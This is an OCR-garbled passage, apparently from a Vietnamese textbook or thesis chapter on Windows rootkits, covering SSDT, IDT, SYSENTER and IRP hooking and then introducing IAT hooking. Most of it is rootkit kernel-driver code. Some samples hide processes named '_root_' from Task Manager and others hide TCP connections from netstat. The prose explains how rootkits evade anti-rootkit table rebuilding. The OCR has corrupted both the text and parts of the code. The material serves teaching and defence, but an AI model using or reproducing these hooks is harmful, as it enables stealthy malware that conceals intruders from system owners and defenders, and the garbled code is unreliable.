Céu tric cua NewSystemCallTable sau khi dugc tao ra nhu sau:
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[ KeServiceDescriptorTable.Service TableBase

Y
System Call Table

Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer

Kernel Function Pointer Kernel Function n
y

Kernel Function 1

Y

Kernel Function 2

KeServiceDescriptorTable.NumberOfServices |

Hinh 2.27. Cdu triic ciia NewSystemCallTable sau khi dwoc tao ra

Dé thyc hién hook, chiing ta dinh nghia mot s6 cic macro hook sau:

#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, Hook, Orig) \
_Orig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, Hook, Orig) \
InterlockedExchange((PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

Macro SYSTEMSERVICE lay dia chi ctia ham trong Ntoskrnl.exe, 1a nhirng ham bat dau boi
Zw*, sau d6 tra vé dia chi cia ham Nt* trong SSDT. Nhimg ham Zw* 13 ham dugc dung cho
trinh diéu khién thiét bi va cac thanh phan khac cua kernel. Cha ¥ rang khong cé su tuong
ung 1-1 gitra cdc ham Zw* va cac ham Nt*.

Macro SYSCALL INDEX lay dia chi cia ham Zw* va tra vé s6 thir ty ctia né trong
bang SSDT, 2 macro SYSTEMSERVICE va SYSCALL INDEX hoat dong dua trén ma
opcode tai diém bat dau cia ham Zw*. Tat ca cac ham Zw* déu bat dau boi mi opcode 1a
mov eax, ULONG, v61i ULONG la chi muc cua dich vu hé théng trong SSDT, béng cach léy
tham s ULONG ctia ma opcode nay ta c6 thé 1ay dugc chi muc caa ham.

Macro HOOK_SYSCALL va UNHOOK_SYSCALL lay dia chi cia ham Zw bi hook,
lay chi myc ctia ham d6 va ty dong thay d6i chi muyc trong SSDT béng dia chi ctia ham Hook.
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Sau khi thuc hién goi macro HOOK trén, Kernel Function s€ dugc thay thé boi Hook Fuction
nhu hinh duéi day:

Kernel Function 1

System Call Table
Kernel Function Pointer >
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer
Kernel Function Pointer Kernel Function n

Kernel Function 2

Hook Function

Hinh 2.28. Cdu triic ciia NewSystemCallTable sau khi bi hook

Céc chuong trinh anti rootkit c6 thé xay dung lai bang System Call Table bang cach khdi tao
lai bd nhé cta nhan tir file ban dau 1a ntoskrnl.exe. Néu System Call Table dugc xay dung lai
sau khi rootkit cai dat thi tat ca viéc xir Iy hook déu bi mat. Bé chong lai cach nay thi nhiing
rootkit m&i hon s& “bam theo” cac entry trong bang dén nhimg ham thyc sy, sau d6 patch
nhitng ham nay dé nhiay dén nhiing thii tuc riéng cua rootkit. K§ thuat nay dugc goi l1a
trampolining (nhao 16n) va s& duoc sir dung trong viéc chén tién trinh(process injection) &
phan User hook. B¢ phat hién ra viéc xdy dung lai bang goi ham hé thdng, rootkit can phai
b§y duoc viée kiém tra bang va vi¢c goi thuc thi file ntoskrnl.exe, béng cach hook ham
MmCreateMdl va tim dia chi co so cia bang goi ham hé thdng
(KeServiceDescriptorTable.ServiceTableBase). Mt khac can phai hook ham ZwOpenSection
va tim OBJECT ATTRIBUTE sir dung \device\physicalmemory. Néu mot tién trinh ma mo
b6 nhé vat 1y thi ¢ thé s& ghi vao bang 10i goi ham hé thong.

Céac chuong trinh anti rootkit c6 thé khiac phuc bang cach luu nhiéu ban ntoskrnl.exe
cho mdi phién ban windows, va load tir ngudn tin cdy, khi d6 cach ding hook ham
ZwOpenFile va theo doi viéc m¢ file ntoskrnl.exe cia rootkit s€ khong kha thi.

2.6.4.  An tién trinh bang hook kernel API

Hé diéu hanh Windows sir dung ham ZwQuerySystemInformation dé thyc hién truy
van dén cac thong tin ctia hé théng. Taskmgr.exe str dung ham nay dé 1ay danh sach céc tién
trinh trong hé thong. Thong tin tra vé tir ham nay phu thudc vao bién SystemInformationClass
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yéu cau. Dé lay thong tin cac tién trinh, gia tri ciia SystemInformationClass 13 5. Khi rootkit
thay thé ham NtQuerySystemInfomation thi ham hook méi c6 thé goi ham bi hook rdi loc két
qua tra vé tiy V.

process record e Con tré ban

dau

length to next record

p p —
process record *-' Con tré mdi

length to next record durge chén bai
' rootkit

process record

length to next record

Hinh 2.29. An tién trinh bang kernel hook

Céc thong tin vé tién trinh dugc luu trong cau traic_ SYSTEM_PROCESSES, céc thong tin vé
ludng duge luu trong cau tric SYSTEM_THREADS. Thong tin quan trong can chi y do6 1a
Tén tién trinh dugc luu & 1 bién UNICODE_STRING trong SYSTEM PROCESSES. Pong
thoi con 2 bién nita d6 1a UserTime va Kernel Time luu thoi gian tién trinh thyc thi, ching ta
can cong n6 vao UserTime va KernelTime ciia tién trinh khac trong danh sach d6 dé tong thoi
gian cua CPU duogc gitr 1a 100%.

struct _SYSTEM_THREADS

{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID Clientls;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;

o

struct _SYSTEM_PROCESSES
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{

ULONG NextEntryDelta;
ULONG ThreadCount;

ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;

ULONG Processld;

ULONG InheritedFromProcessid:;
ULONG HandleCount;

ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS loCounters; //windows 2000 only

struct _SYSTEM_THREADS Threads[1];
h

Ham  NewZwQuerySystemInformation s& 1a4 ham  hook thay thé cho
ZwQuerySystemInformation, thuc hién cong viéc loc toan bd tién trinh bat dau boi _root .
D@)ng thoi thuc hién viéc cdng toan b thoi gian sir dung CPU & user mode va kernel mode
vao tién trinh Idle cuia hé thong.

T
// Ham NewZwQuerySystemInformation la ham hook.
// Ham ZwQuerySystemInformation() tra vé mot danh sach lién két
// ciia cac tién trinh.
// Ham hook s€ thuc hién loai trir nhiing tién trinh trong danh sdch ma cé
// tén bat dau bai " root ".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = (ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
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if( NT_SUCCESS(ntStatus))
{
// Bat yéu cau li¢t ké tién trinh bang gia tri 5
iIf(SystemInformationClass == 5)
{
// Tim cac tién trinh bat dau boi
/" root " valoc ching ra.
struct SYSTEM_PROCESSES *curr =
(struct _SYSTEM_PROCESSES *) SystemInformation;
struct_SYSTEM_PROCESSES *prev = NULL,
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer I= NULL)
{

if(0 == memcmp(curr->ProcessName.Buffer, L" root ", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Xir Iy phan tir tiép theo
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else //néu la phan tir cudi cung
prev->NextEntryDelta = 0;
}

else

{
if(curr->NextEntryDelta)

{
// Pau tién cua danh sach
// chuyén dén phan tir ké tiép
(char*)SystemInformation += curr->NextEntryDelta;
}
else // Néu chi ¢6 mot tién trinh.
SystemInformation = NULL;

ks
k
¥
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else // Xt ly tién trinh IDLE cua hé théng.

{
// Thém thoi gian thyc thi cia root *
// véao tién trinh IDLE.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Pt lai bd dém thoi gian cho 1an ké tiép.
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

¥

prev = curr;

if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);
else curr = NULL;

}
}
else if (SystemInformationClass == 8)
{
// Lay thong tin SystemProcessorTimes

struct _SYSTEM_PROCESSOR_TIMES * times =(struct
_SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->ldleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}

return ntStatus;

}

2.6.5. Hook bang chi dan ngat (IDT)

Bang chi dan ngit (IDT) duoc dung dé quan 1y cac chwong trinh con xir Iy ngat. Ngit
¢6 thé duoc goi boi tir phan mém hodc phan cing, khi mot phim dugc nhin, mot trang bi 15i
(vector 0xOE trong IDT) hodc khi mét tién trinh yéu cau ham trong SSDT (Goi dich vu hé
thong, vector 0x2E trong IDT). Néu ta hook vector 0x2E trong IDT thi ham hook s& dugc goi
trude khi goi ham cua kernel trong SSDT.

C6 hai diém quan trong can luu v khi lam viéc voi IDT. Tha nhét, mdi CPU c6 mot
IDT riéng, h¢ théng nhiéu CPU thi ¢ nhiéu IDT, do vay phai hook toan by IDT cua hé théng.
Thir hai, cac chwong trinh ¢6 xir Iy ngat trong IDT thyc hién xong khong tra vé két qua nén
khong thé thyc hién loc dir liéu duoc.

Khi mét ing dung goi dich vu hé théng, NTDLL.DLL s€ nap chi muc cua 101 goi hé
thong vao thanh ghi EAX va thanh ghi EDX ciing dugc tro dén stack chira cac tham sd.
NTDLL.DLL s& goi ngat INT 2Eh, tin hiéu ngat dugc chuyén tir user mode sang kernel mode.
Déi v6i hé diéu hanh Windows mdi hon nhu 2000, XP... thi st dung 1énh SYSENTER ciing
nhu INT 2Eh. Lénh SIDT sé& dugc dung dé tim IDT trong by nhd cla mdi CPU, tra vé dia chi
ctia cdu tric IDTINFO. Pia chi d6 luu trong 2 tir thip va cao cia mot bién DWORD. Ta sir
dung macro MAKELONG dudi ddy dé 1y gia tri DWORD:
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typedef struct
{
WORD IDTLimit;
WORD LowIDTbase;
WORD HilDTbase;
} IDTINFO;
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))

Duéi day 1a cu trac cia mdi phan tir trong IDT, do dai 64bit.

#pragma pack(1)

typedef struct

{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5;
unsigned char DPL.:2;
unsigned char P:1; I vector
WORD HiOffset;

} IDTENTRY;

#pragma pack()

Ham hook HooklInterrupts() khai bao mot bién toan cuc dang DWORD luu gié tri thuc té cua
handler INT 2E. N6 ciing dong thoi dinh nghia NT SYSTEM_SERVICE INT la 0x2E. Poan
mi dudi day thuc hién thay thé cac phan tir trong IDT bang cac IDTENTRY chira dia chi cua
ham hook.

DWORD KiRealSystemServiceISR_Ptr; // Handler ctia INT 2E ban dau
#define NT_SYSTEM_SERVICE_INT 0x2e

int HookInterrupts()
{
IDTINFO idt_info;
IDTENTRY™ idt_entries;
IDTENTRY™ int2e_entry;
_asm{
sidt idt_info;
}
idt_entries =(IDTENTRY*)MAKELONG(idt_info.LowlIDTbase,idt_info.HilDTbase);
KiRealSystemServiceISR _Ptr = // Luu dia chi thuc cia ham handler INT 2E
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
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idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);

/*******************************************************

* Sau d6 thuc hién hook bat ctr ham xtr Iy ngét nao

*******************************************************/

int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // Cam ngat
lea eax,MyKiSystemService; // Nap vao EAX dia chi cia ham hook
mov ebx, int2e entry;  // Pia chi cua handler INT 2E trong bang
mov [ebx],ax; // Ghi d¢ dia chi thuc té cua handler
//bang 16 bit thap cta dia chi ham hook

shr eax,16
mov [ebx+6],ax; // Ghi dé dia chi thuc té cia handler
//bang 16 bit thap cua dia chi ham
hook
sti; // Cho phép ngit.
}
return O;

}

Sau khi d3 cai dat dugc hook vao IDT, c6 thé phat hién duogc bat ki tién trinh nao yéu cu goi
dich vu hé thong.

2.6.6. SYSENTER

Hé diéu hanh Windows tir 2000 tr& di di khong con st dung INT 2E dé goi yéu cau
dén cac dich vy hé théng thong qua IDT nita, ma ching sir dung mot phuong phap nhanh hon.
Trong truong hop nay, NTDLL.DLL nap sb hiéu cta dich vu hé théng vao thanh ghi EAX va
nap con tro cia stack hién tai vao thanh ghi EDX. Sau d6 NTDLL goi 1énh SYSENTER cua
vi xir Iy Intel thyc hién céc cong viée tiép theo.
Lénh SYSENTER trao diéu khién cho dia chi & mot trong cac thanh ghi Model-Specific
Registers(MSRs). Thanh ghi nay co tén 1a IA32_SYSENTER_EIP va n6 thyc hién Iénh trong
Ring 0.

Du6i ddy 1a mot trinh diéu khién thiét bi c6 kha ning doc gia tri cua
IA32 SYSENTER_EIP, luu né véo bién toan cuc nao do, rodi ghi lai dia chi ctia thanh ghi nay
bdi dia chi cia ham hook. Ham hook 1a ham MyKiFastCallEntry chi don gian thuc thi lai ham
ban dau.

#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Gia tri ban dau trong
/I ntoskrnl!'KiFastCallEntry

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
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{
DbgPrint("ROOTKIT: OnUnload called\n™);

}

// Ham hook
__declspec(naked) MyKiFastCallEntry()
{
_asm{
jmp [d_origKiFastCallEntry]
}

¥
NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObiject,

PUNICODE_STRING theRegistryPath)
{

theDriverObject->DriverUnload = OnUnload;

_asm{
mov ecx, 0x176
rdmsr // doc gia tri cua thanh ghi IA32 SYSENTER EIP
mov d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Luu dia chi cia ham hook vao EAX
wrmsr  // Ghi vao thanh ghi IA32_SYSENTER_EIP

}
return STATUS_SUCCESS;

}

2.6.7. An cong giao tiép tcpip bang IRP hook

’ Khi mét trinh diéu lfhién thiét bi duoc cai dat, n6 khai tao mot bang céac con tro t‘r()
dén nhiing ‘hélm xur 1y yéu cau g(’)i’ tin vao ra (I/O Request Packets - IRPs). IRP quan ly nhicu
dang yéu cau nhu doc, ghi, truy van.
Mot s6 loai IPR cung cép bai Microsoft DDK:

#define IRP_MJ_CREATE 0x00

#define IRP_MJ_CREATE_NAMED PIPE  0x01
#define IRP_MJ_CLOSE 0X02

#define IRP_MJ_READ 0x03

#define IRP_MJ_WRITE 0x04

#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07

#define IRP_MJ_SET_EA 0x08
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#define IRP_MJ_FLUSH_BUFFERS 0x09

#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY _CONTROL  0xOc
#define IRP_MJ_FILE_SYSTEM_CONTROL  0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e

#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f

#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY Ox14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16

#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA Oxla
#define IRP_MJ_PNP 0x1b

#define IRP_MJ_PNP_POWER IRP_MJ_PNP //Obsolete
#define IRP_MJ_MAXIMUM_FUNCTION  Ox1b

Gibng nhu IDT, cac ham xt 1y cac IRP khong tra vé két qua. Hinh dudi ddy mé ta qua trinh
goi mot ddi twong Driver tir ddi tugng Device khi ¢c6 ma rootkit chén vao:

Driver Object

Device Object

Type Size
IRF MJ DEVICE CONTROL

Reference Count

Driver Object

]
Al
L}
[
LY

Hinh 2.30. Ky thugt IRP hook trong kernel hook

L]
LY
L]
L]

by
T

Original
IRP

handler
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DPé minh hoa viéc cai dat ham hook, dudi day 1a cach an cong giao tiép TCP tir chuong trinh
sir dung IRP hook trong trinh diéu khién thiét bi TCPIP.SYS.
Khi chay netstat, c6 thé liét ké dugc cac cong TCP/IP dang dung:

C:\Documents and Settings\ITKINGDOM>netstat -p TCP
Active Connections
Proto Local Address Foreign Address State

TCP LIFE:1027 localhost:1422 ESTABLISHED
TCP LIFE:1027 localhost:1424 ESTABLISHED
TCP LIFE:1027 localhost:1428 ESTABLISHED
TCP LIFE:1410 localhost:1027 CLOSE_WAIT
TCP LIFE:1422 localhost:1027 ESTABLISHED
TCP LIFE:1424 localhost:1027 ESTABLISHED
TCP LIFE:1428 localhost:1027 ESTABLISHED
TCP LIFE:1463 localhost:1027 CLOSE_WAIT
TCP LIFE:1423 64.12.28.72:5190  ESTABLISHED
TCP LIFE:1425 64.12.24.240:5190 ESTABLISHED
TCP LIFE:3537 64.233.161.104:http ESTABLISHED

Dé 4n di két ndi cia rootkit ra bén ngoai qua giao thirc TCP, cach duy nhét 1a hook
TCPIP.SYS va loc IRP.

Cong viéc dau tién 1a tim d6i twong trinh diéu khién trong bd nhd, chiing ta tap trung
vao TCPIP.SYS va tim déi tugng trinh diéu khién gan vai né, goi 1a \DRIVERWTCP. Kernel
cung cap ham tra vé con tro tré vao ddi tuong trinh diéu khién cta bat ki thiét bi nao, d6 1a
lIoGetDeviceObjectPointer. Khi dd c6 dugc con tro thi co thé truy nhap duoc vao bang cac
ham cua dbi twong d6. Chiing ta can luu lai dia chi ctia nhimg ham cii dé khi g& rootkit khoi
b6 nhé s& phuc hoi lai gi tri cho nd, tranh gay 161 BSoD.

Ham InstallTCPDriverHook dudi ddy thuc hién hook mdt ph'?ln to trong bang IRP handler,
thay thé con tré ham trong TCPIP.SYS ma tuong tac véi IRP._ MJ DEVICE_CONTROL.

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS InstalITCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp =NULL;
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pDrv_tcpip = NULL,;
RtlInitUnicodeString (&deviceTCPUnicodeString,
deviceTCPNameBuffer);

ntStatus = loGetDeviceObjectPointer(&deviceTCPUnicodeString,
FILE_READ_DATA, &pFile_tcp,
&pDev_tcp);

if(INT_SUCCESS(ntStatus))

return ntStatus;

pDrv_tcpip = pDev_tcp->DriverObject;
OldIrpMjDeviceControl = pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldirpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);

return STATUS_SUCCESS;
¥

Khi doan code trén dugc thuc thi, ching ta da hook vao trinh diéu khién TCPICP.SYS. Tur
day c6 thé nhan dugc cac IRP tir ham HookedDeviceControl. Cac kiéu yéu cau trong
IRP_ MJ DEVICE CONTROL c6 nhiéu kiéu khac nhau, dé 1ay danh sach cac port thi can
chay yéu cau IOCTL_TCP_QUERY_INFORMATION_EX, dé an cong TCP chi can tap
trung vao yeu cau CO TL_ENTITY va an c6ng UDP tap trung vao CL_TL_ENTITY, hai yéu
cau nay nam trong cu tric toi _entity d6i tugng TDIObjectID.

#define CO_TL_ENTITY 0x400
#define CL_TL_ENTITY 0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
/I* Structure of an entity ID.
typedef struct TDIEntitylD {

ulong tei_entity;

ulong  tei_instance;
} TDIEntityID;
/[* Structure of an object ID.
typedef struct TDIObjectID {

TDIEntitylD toi_entity;

ulong toi_class;

ulong toi_type;

ulong toi_id;
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} TDIObjectID;

Ham HookedDeviceControl can con tré tré dén IRP stack, noi ma c6 chta cac thong tin vé
mi ham cta IRP. Khi di hook duoc vao IRP. MJ DEVICE _CONTROL theo d6 liy duoc mi
ham. Sau d6 rootkit thuc hi€n cong viéc tim bd dém nhap. Kernel st dung phuong thirc
METHOD NEITHER  dé  chuyén  théng tin  vao bd dém &
Parameters.DeviceloControl. Type3InputBuffer trong IRP stack. Pé 4n cong TCP,
inputBuffer->toi_entity.tei_entity phai bang gia tri CO_TL_ENTITY.

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
TDIObjectID *inputBuffer;
DWORD context;

/! Léy con tro dén vi tri hién tai trong IRP stack
// trong IRP stack c6 cac thong tin vé s6 hiéu ham va cac tham sb
// can thiét.
irpStack = loGetCurrentlrpStackLocation (Irp);
switch (irpStack->MajorFunction)
{
case IRP_MJ DEVICE _CONTROL.:
if ((irpStack->MinorFunction == 0) &&
(irpStack->Parameters.DeviceloControl.loControlCode
== |OCTL_TCP_QUERY_INFORMATION_EX))
{
ioTransferType =
irpStack->Parameters.DeviceloControl.loControlCode;
ioTransferType &= 3;
// it kiéu tim kiém trong buffer
if (ioTransferType == METHOD_NEITHER)
{
inputBuffer = (TDIObjectID *)
irpStack->Parameters.DeviceloControl. Type3inputBuffer;
/[ CO_TL_ENTITY cho TCP vaCL_TL_ENTITY cho UDP
if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
{
if ((inputBuffer->toi_id == 0x101) ||
(inputBuffer->toi_id == 0x102) ||
(inputBuffer->toi_id == 0x110))
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{

// Goi thu tuc x1r Iy loCompletionRoutine

/! béng cach dat lai c& diéu khién cua IRP stack.

irpStack->Control = 0;

irpStack->Control |= SL_INVOKE_ON_SUCCESS;

// Luu lai thu tuc xur 1y néu c6

irpStack->Context =(PIO_COMPLETION_ROUTINE)
ExAllocatePool(NonPagedPool,
sizeof(REQINFO));

((PREQINFO)irpStack->Context)->

OldCompletion =

irpStack->CompletionRoutine;

((PREQINFO)irpStack->Context)->ReqType =

inputBuffer->toi_id;

// Goi ham md&i thém vao

// trude khi IRP thuc hién xong viéc xur ly

irpStack->CompletionRoutine =

(PIO_COMPLETION_ROUTINE) loCompletionRoutine;
}
}
}

}
break;

default:
break;

// Goi ham cli
return OldIrpMjDeviceControl(DeviceObiject, Irp);
}

Poan ma trén da thuc hién viéc chen xur ly vao IRP trong trinh diéu khién thiét bi. Cong viéc
cudi cung la thém thu tuc hoan thién xur ly dé tra vé call stack, vi néu sir dung ham hook ¢ trén
thi IRP handler s& mic nhién goi ham hook ma khong tra vé vi tri da trao quyén diéu khién
cho né. Tiép theo lToCompletionRoutine duoc goi sau khi TCPIP.SYS dién day du thong tin
vao output buffer trong IRP v4i cc cdu tric cua nhimng cong TCP ton tai trén hé théng nhu
Sau:

#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) // to get a port
Il Structures of TCP information buffers returned by TCPIP.SYS
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typedef struct _ CONNINFO101 {
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;

unsigned short dst_port;
unsigned short unk2;

} CONNINFO101, *PCONNINFO101;

typedef struct _ CONNINFO102 {

unsigned long status;

unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;

unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk?2;

unsigned long pid;

} CONNINFO102, *PCONNINFO102;

typedef struct _ CONNINFO110 {
unsigned long size;
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unka;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
PVOID unk3[35];

} CONNINFO110, *PCONNINFO110;

Khi IoCompletionRoutine nhan duogc con tro Ngir canh dang PREQINFO, can thay doi trang
thai ctia mdi cdu trac d6 dé an thong tin cong trén hé thong. Mot s6 trang thai phd bién nhu:

. 2 : LISTENING

. 3:SYN_SENT

. 4 :SYN_RECEIVED
. 5 :ESTABLISHED
. 6 :FIN_WAIT 1
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o 7 :FIN_WAIT_2

J 8 :CLOSE_WAIT

o 9 :CLOSING
Chung ta s& dat gi4 tri thanh 0 dé cong d6 khong xuat hién trong danh sach in ra tir buffer ctia
Iénh netstat.

typedef struct  REQINFO {
PIO_COMPLETION_ROUTINE OldCompletion;
unsigned long ReqType;
} REQINFO, *PREQINFO;
NTSTATUS loCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)

PVOID OutputBuffer;
DWORD NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
DWORD i;
/I Cac loai trang thai:
/10 = Invisible
/' 1=CLOSED
/2 = LISTENING
//'3=SYN_SENT
Il 4 = SYN_RECEIVED
/I'5=ESTABLISHED
/16 =FIN_WAIT 1
/I'7T=FIN_WAIT 2
/l 8 = CLOSE_WAIT
/19 = CLOSING
...
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINFO)Context)->0OldCompletion;
if ((PREQINFO)Context)->ReqType == 0x101)
{

NumOutputBuffers = Irp->loStatus.Information /sizeof(CONNINFO101);

for(i = 0; i < NumOutputBuffers; i++)

{

// An tat ca cong két no1 web 80
if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO101)OutputBuffer)[i].status = 0;
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¥
}
else if (((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->loStatus.Information /sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)
{
// An tat ca cong két ndi web 80
if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO102)OutputBuffer)[i].status = 0;
¥
}
else if (((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->loStatus.Information /sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)
{
// An tat ca cong két ndi web 80
if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO110)OutputBuffer)[i].status = 0;
¥

}
ExFreePool(Context);

if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))

{
return (p_compRoutine)(DeviceObject, Irp, NULL);

by

else

{

return Irp->loStatus.Status;

k
j

2.7. USER HOOK

2.7.1.  Khai niém vé user hook

Hé diéu hanh Windows cung cép mot tap cac ham API véi dﬁy du tai liéu tham khao
mo ta cach sir dung, tham sd. Thong qua nhitng ham API nay, cac tién trinh c6 thé yéu cau sy
trg giup cua hé dieu hanh dé€ thyc hién mét s6 cong viéc ngoai kha nang ctia ndé nhu goi cac
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ham bén trong hé théng. Cic chuong trinh nhu Taskmgr, Windows Explorer hay Registry
Editor déu sir dung cac ham API ndy nén c6 thé b tin céng bai Rootkit.

Vi du mot truong hop mubn liét ké toan bd tép tin trong mot thu muc nao do, ing
dung dau tién phai goi ham API FindFirstFile bén trong Kernel32.dll. FindFirstFile s& tra lai 1
handle néu thanh cong. Handle nay s& dugc dung dé goi lién tiép nhitng ham FindNextFile dé
quét toan bd thu muc va thu muc con trong no. FindNextFile cling 1a mdt ham dugc export tir
Kernel32.dll. Bé sir dung nhitng ham API trén thi tng dung phai nap Kernel32.dll trong luc
chay va sao chép dia chi cua nhitng ham d6 vao Import Address Table(IAT). Khi ing dung
goi FindNextFile thi n6 s& goi ham duoc tré dén tir bang IAT.

Ham FindNextFile trong Kernel32.dll s€ goi dich vu trong Ntdll.dll, Ntdll s€ nap
thanh ghi EAX véi s6 hiéu cua dich vu twong tng 1a NtQueryDirectoryFile. Ntdll ciing nap
thanh ghi EDX chira cac tham s cho FindNextFile. Sau d6, Ntdll goi ngit 0x2E hay 1énh
SYSENTER dé bay nhan thyc hién dich vu NtQueryDirectoryFile.

Vi tng dung nap Kernel32.d1l vao khong gian dia chi riéng ctia nd (thude dai 0x00010000 dén
0x7FFE0000) nén rootkit c¢6 thé truc tiép ghi deé 1én bat ki ham nao ciia Kernel32.dll. K§ thuat
nay goi la API hooking, thuc hién trén user mode.

Tiép tuc vi du trén, rootkit co thé ghi d¢ 1én ham FindNextFile véi ma Iénh khac nham chéng
lai viéc thuc thi ham nay. Ngoai ra, rootkit con c6 thé ghi dé 1én IAT dia chi ctia ham riéng
thay dé thuc hién cac chirc niang khac thay vi FindNextFile.

2.7.2. 1AT hooking

Khi mot tmg dung mubn sir dung mot ham da co sin trong mot tép nhi phan nao dé thi
n6 phai nap dia chi cua nhing ham d6 vao bang IAT. Mot thu vién DLL thuong cé mot cau
tric goi la IMAGE IMPORT DESCRIPTOR chtra tén cua DLL, ngoai ra cling c6 2 con tro
dén 2 mang c6 céu tric IMAGE_IMPORT BY NAME chira tén cta cac ham s& dugc ding
bdi cac ung dung.
Khi hé diéu hanh nap mot DLL vao by nhd, hé¢ diéu hanh doc va phéan tich cau tric
IMAGE IMPORT_ DESCRIPTOR, sau d6 cac DLL can thiét s& dugc nap vao vung nhé cua
ung dung. Sau khi DLL dugc 4nh xa xong, hé diéu hanh doc thong tin cac ham tu cAu trac
